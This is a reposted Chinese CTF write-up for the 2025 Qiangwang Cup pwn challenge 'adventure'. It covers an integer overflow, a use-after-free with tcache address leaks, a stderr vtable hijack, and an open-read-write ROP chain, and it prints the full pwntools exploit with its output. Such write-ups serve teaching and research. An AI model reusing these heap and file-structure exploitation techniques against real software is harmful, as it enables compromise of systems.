2025强网杯pwnadventure

admin 2026-01-01 05:23:15 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文解析了2025强网杯Pwn题adventure的解题思路。选手利用C++游戏中的整数溢出获取金币,通过UseAfterFree漏洞结合Tcache泄露堆与libc地址。随后利用任意地址写劫持stderr的vtable,构建ROP链绕过Seccomp执行ORW读取flag。文章详细阐述了利用逻辑并附带了完整的EXP代码,技术深度较高。 综合评分: 98 文章分类: CTF,二进制安全,漏洞分析,逆向分析


cover_image

2025 强网杯 pwn adventure

原创

毕方安全实验室

BeFun安全实验室

2025年10月29日 16:42 四川

adventure

题目做了个小游戏,22.04 版本,给了 Dockerfile,因为是C++的程序,所以不急着逆,先运行一下发现可以用一些指令来操作,那么根据字符串来找到操作指令

.rodata:000000000002E5E9                 db '=== Equipment ===',0
.rodata:000000000002E5FB aBattle_0       db 'battle',0           ; DATA XREF: sub_27796+6C↑o
.rodata:000000000002E602 aFight          db 'fight',0            ; DATA XREF: sub_27796+93↑o
.rodata:000000000002E608 aStatus         db 'status',0           ; DATA XREF: sub_27796+BD↑o
.rodata:000000000002E60F aInventory      db 'inventory',0        ; DATA XREF: sub_27796+123↑o
.rodata:000000000002E619 aInv            db 'inv',0              ; DATA XREF: sub_27796+156↑o
.rodata:000000000002E61D aShop_0         db 'shop',0             ; DATA XREF: sub_27796+189↑o
.rodata:000000000002E622 aStore          db 'store',0            ; DATA XREF: sub_27796+1BC↑o
.rodata:000000000002E628 aGameStats      db 'game_stats',0       ; DATA XREF: sub_27796+F0↑o
.rodata:000000000002E628                                         ; sub_27796+1EF↑o
.rodata:000000000002E633 aStatistics     db 'statistics',0       ; DATA XREF: sub_8C7E+C5↑o
.rodata:000000000002E633                                         ; sub_2A696+1AB↑o ...
.rodata:000000000002E63E aMap_0          db 'map',0              ; DATA XREF: sub_27796+255↑o
.rodata:000000000002E642 aWorld          db 'world',0            ; DATA XREF: sub_27796+288↑o
.rodata:000000000002E648 aExplore        db 'explore',0          ; DATA XREF: sub_27796+2BB↑o
.rodata:000000000002E650 aQuests         db 'quests',0           ; DATA XREF: sub_27796+2EE↑o
.rodata:000000000002E657 aQuest          db 'quest',0            ; DATA XREF: sub_27796+321↑o
.rodata:000000000002E65D aMissions       db 'missions',0         ; DATA XREF: sub_27796+354↑o
.rodata:000000000002E666 aUpgrade        db 'upgrade',0          ; DATA XREF: sub_27796+387↑o
.rodata:000000000002E66E aSkills_0       db 'skills',0           ; DATA XREF: sub_27796+3BA↑o
.rodata:000000000002E675 aMove           db 'move',0             ; DATA XREF: sub_27796+3ED↑o
.rodata:000000000002E67A aGo             db 'go',0               ; DATA XREF: sub_27796+420↑o
.rodata:000000000002E67D aSearch         db 'search',0           ; DATA XREF: sub_27796+51F↑o
.rodata:000000000002E684 aLook           db 'look',0             ; DATA XREF: sub_27796+585↑o
.rodata:000000000002E689 aQuit           db 'quit',0             ; DATA XREF: sub_27796+5B8↑o
.rodata:000000000002E68E aExit           db 'exit',0             ; DATA XREF: sub_27796+5EB↑o

然后根据提示输入,职业进行了一些限定,设置为 warrior ,探测出来地图,找到最后要打的 boss ,根据经验来看一般是要在商店操作一些金币溢出之类的东西,一番手动测试后发现买炸弹可以触发整数溢出让钱变得很多:

--- Actions ---
12. Buy Items
13. Sell Items
14. Leave Shop
Choose option: 12

=== Buy Items ===
Enter item number to buy : 4
How many? (1-8500600): 8500600
Warrior purchased 8500600 Bomb for -2118813696 gold!

Press Enter to continue...

还能买到很多炸弹,然后直接去boss图,search后炸掉boss掉落戒指:

Bomb has been consumed and removed from inventory.
Bomb used 8500600 time(s) successfully!

Available Items:
1. Finish using items
2. Cancel
Select item: 1

Item use phase completed.
Items used: Bomb x8500600

All enemies have been defeated!

🎉 Victory!
Gained EXP: 60
Gained Gold: 35
All enemies in Dragon's Peak have been cleared!

🎁 The Shadow Dragon dropped the Paralysis Ring!

⚡ Paralysis Ring radiates with power as it enters your inventory!
You feel the dark energy coursing through you as you automatically equip the ring!
Warrior equips the Paralysis Ring! Enemies may be paralyzed!
⚡ The ring radiates dark energy, giving your attacks a chance to paralyze!
Warrior learned Paralysis Strike!
Paralysis Ring equipped successfully!
✨ The Paralysis Ring is now equipped and its power flows through you!
Returning to command mode.
>

然后使用这个物品,这里存在一个溢出,是我的 cursor 结合 ida mcp 发现的(但是并没有分析出来前面的金钱溢出问题),通过手动输入了一个超长的 name 可以触发崩溃,溢出到一个地址,可以把戒指卖了再买回来多次触发这个溢出,又手动调试分析发现这个地址是装备描述的地址,位于堆上。

但是由于所有输入都会加入 \x00 截断,所以没法直接修改地址泄露,调试了一下发现这个描述的堆块在一个 0x60 的 tcache 上,可以泄露出加密后的地址,所以尝试把 tcache 的堆块分配出去,把存储了key的堆块泄露出来。(还有后面看到其他师傅的 wp 是利用堆块距离总是相等来计算key的)

这里利用 gef 的 heap analysis 功能,尝试进行了多次购买物品,记录堆块分配,每次购买物品会触发一个 malloc(0x50) ,分配走一个 0x60 的 tcache ,使用物品则会将堆块释放,然后发现存在一个 UAF ,在使用了1号物品之后,1号物品消失,2号物品变为原来的1号物品,此时2号物品的描述仍然指向之前被释放的1号物品的描述(按照堆块分配顺序而不是打印顺序,打印顺序是按物品名字排序的):

gef> tcachebins
...
tcachebins[idx=4, size=0x60, @0x55928697f0b0]: fd=0x559286997ca0 count=3
 -> Chunk(base=0x559286997c90, addr=0x559286997ca0, size=0x60, flags=PREV_INUSE, fd=0x5597dfb111f7(=0x559286997860))
 -> Chunk(base=0x559286997850, addr=0x559286997860, size=0x60, flags=PREV_INUSE, fd=0x5597dfb11337(=0x559286997aa0))
 -> Chunk(base=0x559286997a90, addr=0x559286997aa0, size=0x60, flags=PREV_INUSE, fd=0x000559286997(=0x000000000000))
 ...

 $rdi  0x5592869976c8|+0x0000|+000: 0x6973796c61726150 'Paralysis Ring (Equipment)'
      0x5592869976d0|+0x0008|+001: 0x2820676e69522073 's Ring (Equipment)'
      0x5592869976d8|+0x0010|+002: 0x6e656d7069757145 'Equipment)'
      0x5592869976e0|+0x0018|+003: 0x0000000000002974 ('t)'?)
      0x5592869976e8|+0x0020|+004: 0x0000000000000000
      0x5592869976f0|+0x0028|+005: 0x0000000000000000
      0x5592869976f8|+0x0030|+006: 0x0000000000000000
      0x559286997700|+0x0038|+007: 0x0000000000000000
      0x559286997708|+0x0040|+008: 0x0000559286997860  ->  0x00005597dfb11337    # freed

由此我们可以尝试把 0x60 的4个堆块全部分配出去,再释放一个到 tcache 里,此时因为 tcache 加密指针的特性,堆块开头会写一个 xor 0 的堆地址,再利用 uaf 来泄露出堆地址:

buy_item(1)
buy_item(2)
buy_item(3)
buy_item(5)
use_item(5)
# 此时麻痹戒指之前的堆块被释放,麻痹戒指的描述指向了一个释放后的 tcache 堆块
heap_addr = (edit_ring(b'a') <<&nbsp;12) -&nbsp;0x19000
success(f"heap_addr:&nbsp;{hex(heap_addr)}")

再通过堆地址泄露 libstdc++ 和 libc 地址。

此时我们控制了物品描述的地址以及随便写物品描述,所以就有了无限次的任意地址写,找了一个修改 rsp 的 gadget ,因为开了 seccomp ,所以选择通过 stderr 来做 ROP 。

from&nbsp;pwn&nbsp;import&nbsp;*
lib_std_cpp = ELF("./libstdc++.so.6.0.30")
libc = ELF("./libc.so.6")
# p = process("./pwn")
p = remote("127.0.0.1",&nbsp;7124)
p.sendlineafter(b"Name: ",&nbsp;b"warrior")

# buy bomb
p.sendlineafter(b"> ",&nbsp;b"shop")
p.sendlineafter(b"option: ",&nbsp;b"12")
p.sendlineafter(b"buy : ",&nbsp;b"4")
p.sendlineafter(b"): ",&nbsp;b"8500600")
p.sendline()
p.sendlineafter(b"option: ",&nbsp;b"14")

# move
p.sendlineafter(b"> ",&nbsp;b"s")
p.sendlineafter(b"> ",&nbsp;b"s")
p.sendlineafter(b"> ",&nbsp;b"s")
p.sendlineafter(b"> ",&nbsp;b"d")
p.sendlineafter(b"> ",&nbsp;b"search")

# fight
p.sendlineafter(b"action: ",&nbsp;b"5")
p.sendlineafter(b"item: ",&nbsp;b"1")
p.sendlineafter(b"): ",&nbsp;str(8000000&nbsp;//&nbsp;40).encode())
p.sendlineafter(b"item: ",&nbsp;b"2")

# sell
p.sendlineafter(b"> ",&nbsp;b"shop")
p.sendlineafter(b"option: ",&nbsp;b"13")
p.sendlineafter(b"sell: ",&nbsp;b"2")
p.sendlineafter(b"): ",&nbsp;b"1")
p.sendlineafter(b"?",&nbsp;b"y")
p.sendlineafter(b"...",&nbsp;b"")
p.sendlineafter(b"option: ",&nbsp;b"15")

def&nbsp;buy_ring():
&nbsp; &nbsp; p.sendlineafter(b"> ",&nbsp;b"shop")
&nbsp; &nbsp; p.sendlineafter(b"option: ",&nbsp;b"13")
&nbsp; &nbsp; p.sendlineafter(b"buy : ",&nbsp;b"5")
&nbsp; &nbsp; p.sendlineafter(b"): ",&nbsp;b"1")
&nbsp; &nbsp; p.sendlineafter(b"...",&nbsp;b"")
&nbsp; &nbsp; p.sendlineafter(b"option: ",&nbsp;b"15")

def&nbsp;edit_ring(name, description =&nbsp;b'b'):
&nbsp; &nbsp; p.sendlineafter(b"> ",&nbsp;b"inv")
&nbsp; &nbsp; p.sendlineafter(b"item : ",&nbsp;b"4")
&nbsp; &nbsp; p.sendlineafter(b"action: ",&nbsp;b"1")
&nbsp; &nbsp; p.sendlineafter(b"New name : ", name)
&nbsp; &nbsp; p.recvuntil(b"Paralysis Ring description : ")
&nbsp; &nbsp; leak = u64(p.recvuntil(b'\n', drop=True).ljust(8,&nbsp;b'\x00'))

&nbsp; &nbsp; if&nbsp;description ==&nbsp;b'b':&nbsp;# 恢复原本内容
&nbsp; &nbsp; &nbsp; &nbsp; p.sendlineafter(b"New description : ", p64(leak))
&nbsp; &nbsp; else:
&nbsp; &nbsp; &nbsp; &nbsp; p.sendlineafter(b"New description : ", description)

&nbsp; &nbsp; return&nbsp;leak

def&nbsp;buy_item(item_id):
&nbsp; &nbsp; p.sendlineafter(b"> ",&nbsp;b"shop")
&nbsp; &nbsp; p.sendlineafter(b"option: ",&nbsp;b"13")
&nbsp; &nbsp; p.sendlineafter(b"buy : ",&nbsp;str(item_id).encode())
&nbsp; &nbsp; p.sendlineafter(b"): ",&nbsp;b"1")
&nbsp; &nbsp; p.sendlineafter(b"...",&nbsp;b"")
&nbsp; &nbsp; p.sendlineafter(b"option: ",&nbsp;b"15")

def&nbsp;use_item(item_id):
&nbsp; &nbsp; p.sendlineafter(b"> ",&nbsp;b"inv")
&nbsp; &nbsp; p.sendlineafter(b"item : ",&nbsp;str(item_id).encode())
&nbsp; &nbsp; p.sendlineafter(b"action: ",&nbsp;b"1")

buy_item(1)
buy_item(2)
buy_item(3)
buy_item(5)
use_item(5)

heap_addr = (edit_ring(b'a') <<&nbsp;12) -&nbsp;0x19000
success(f"heap_addr:&nbsp;{hex(heap_addr)}")
# context.log_level = 'debug'
# pause()
buy_ring()
elf_base = edit_ring(b'a'&nbsp;*&nbsp;0x40&nbsp;+ p64(heap_addr +&nbsp;0x18308)) -&nbsp;0xf869
success(f"elf_base:&nbsp;{hex(elf_base)}")
buy_ring()
lib_std_cpp.address = edit_ring(b'a'&nbsp;*&nbsp;0x40&nbsp;+ p64(elf_base +&nbsp;0x37018)) -&nbsp;0xad8c0
success(f"lib_std_c++:&nbsp;{hex(lib_std_cpp.address)}")
buy_ring()
libc.address = edit_ring(b'a'&nbsp;*&nbsp;0x40&nbsp;+ p64(lib_std_cpp.address +&nbsp;0x2268f8)) -&nbsp;0x458c0
success(f"libc.address:&nbsp;{hex(libc.address)}")

def&nbsp;aaw(addr, content):
&nbsp; &nbsp; buy_ring()
&nbsp; &nbsp; edit_ring(b'a'&nbsp;*&nbsp;0x40&nbsp;+ p64(addr), content)

stderr_addr = libc.address +&nbsp;0x21b6a0
aaw(stderr_addr,&nbsp;b'\x00')&nbsp; &nbsp; # fp->_flags
aaw(stderr_addr +&nbsp;1,&nbsp;b'\x00')&nbsp; &nbsp; # fp->_flags
aaw(stderr_addr +&nbsp;2,&nbsp;b'\x00')&nbsp; &nbsp; # fp->_flags
aaw(stderr_addr +&nbsp;3,&nbsp;b'\x00')&nbsp; &nbsp; # fp->_flags
aaw(stderr_addr +&nbsp;0xd8, p64(libc.address +&nbsp;0x2170c0&nbsp;-&nbsp;0x48))&nbsp; &nbsp;# fp->vtable

pop_rsp = libc.address +&nbsp;0x0000000000035732&nbsp; &nbsp; # pop rsp; ret;
pop_rdi = libc.address +&nbsp;0x000000000002a3e5&nbsp; &nbsp; # pop rdi; ret;
pop_rsi = libc.address +&nbsp;0x000000000002be51&nbsp; &nbsp; # pop rsi; ret;
pop_rdx = libc.address +&nbsp;0x00000000000904a9&nbsp; &nbsp; # pop rdx; pop rbx; ret;
pop_rax = libc.address +&nbsp;0x0000000000045eb0&nbsp; &nbsp; # pop rax; ret;
magic = libc.address +&nbsp;0x000000000005a119&nbsp; &nbsp; &nbsp; # mov rsp, rdx; ret;
syscall = libc.address +&nbsp;0x0000000000091316&nbsp; &nbsp; # syscall; ret;
buffer = heap_addr +&nbsp;0x2828
# 随便找个地方
aaw(heap_addr +&nbsp;0x1818&nbsp;+&nbsp;0x68, p64(magic))

wide_data_addr = libc.address +&nbsp;0x21a8a0
aaw(wide_data_addr +&nbsp;0xe0, p64(heap_addr +&nbsp;0x1818))

aaw(buffer,&nbsp;b'/flag')

orw = p64(pop_rdi)
orw += p64(buffer)
orw += p64(pop_rsi)
orw += p64(0)
orw += p64(pop_rdx)
orw += p64(0) *&nbsp;2
orw += p64(pop_rax)
orw += p64(2)
orw += p64(syscall)
orw += p64(pop_rdi)
orw += p64(3)
orw += p64(pop_rsi)
orw += p64(buffer)
orw += p64(pop_rdx)
orw += p64(0x88) *&nbsp;2
orw += p64(pop_rax)
orw += p64(0)
orw += p64(syscall)
orw += p64(pop_rdi)
orw += p64(1)
orw += p64(pop_rsi)
orw += p64(buffer)
orw += p64(pop_rdx)
orw += p64(0x88) *&nbsp;2
orw += p64(pop_rax)
orw += p64(1)
orw += p64(syscall)

for&nbsp;i&nbsp;in&nbsp;range(len(orw) //&nbsp;8):
&nbsp; &nbsp; aaw(heap_addr +&nbsp;0x3808&nbsp;+ i *&nbsp;8, orw[i *&nbsp;8:(i +&nbsp;1) *&nbsp;8])

aaw(wide_data_addr, p64(pop_rsp))
aaw(wide_data_addr +&nbsp;0x8, p64(heap_addr +&nbsp;0x3808))

p.interactive()

运行:

(base) ➜ &nbsp;bin python solve.py
[*]&nbsp;'/mnt/d/ctf/25qwb/pwn/adventure/adventure/bin/libstdc++.so.6.0.30'
&nbsp; &nbsp; Arch: &nbsp; &nbsp; &nbsp; amd64-64-little
&nbsp; &nbsp; RELRO: &nbsp; &nbsp; &nbsp;Partial RELRO
&nbsp; &nbsp; Stack: &nbsp; &nbsp; &nbsp;Canary found
&nbsp; &nbsp; NX: &nbsp; &nbsp; &nbsp; &nbsp; NX enabled
&nbsp; &nbsp; PIE: &nbsp; &nbsp; &nbsp; &nbsp;PIE enabled
&nbsp; &nbsp; FORTIFY: &nbsp; &nbsp;Enabled
&nbsp; &nbsp; SHSTK: &nbsp; &nbsp; &nbsp;Enabled
&nbsp; &nbsp; IBT: &nbsp; &nbsp; &nbsp; &nbsp;Enabled
[*]&nbsp;'/mnt/d/ctf/25qwb/pwn/adventure/adventure/bin/libc.so.6'
&nbsp; &nbsp; Arch: &nbsp; &nbsp; &nbsp; amd64-64-little
&nbsp; &nbsp; RELRO: &nbsp; &nbsp; &nbsp;Partial RELRO
&nbsp; &nbsp; Stack: &nbsp; &nbsp; &nbsp;Canary found
&nbsp; &nbsp; NX: &nbsp; &nbsp; &nbsp; &nbsp; NX enabled
&nbsp; &nbsp; PIE: &nbsp; &nbsp; &nbsp; &nbsp;PIE enabled
&nbsp; &nbsp; SHSTK: &nbsp; &nbsp; &nbsp;Enabled
&nbsp; &nbsp; IBT: &nbsp; &nbsp; &nbsp; &nbsp;Enabled
[+] Opening connection to 127.0.0.1 on port 7124: Done
[+] heap_addr: 0x5650bad3c000
[+] elf_base: 0x5650a6b0b000
[+] lib_std_c++: 0x7fdb65591000
[+] libc.address: 0x7fdb65348000
[*] Switching to interactive mode
Paralysis Ring (Equipment) has been consumed and removed from inventory.
> $ quit
Thanks&nbsp;for&nbsp;playing!
flag{fake_flag}\x00\x00\x00\x00\x00\x00

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:BeFun安全实验室 毕方安全实验室《2025 强网杯 pwn adventure》

高级红队专家知识库 网络安全文章

高级红队专家知识库

文章总结: 本文推广名为高级红队专家知识库的付费产品,内含2614篇以OSCP为主的技术内容。作者展示了问答效果,并提供了售价200元的永久使用方式及购买联系渠
评论:0   参与:  0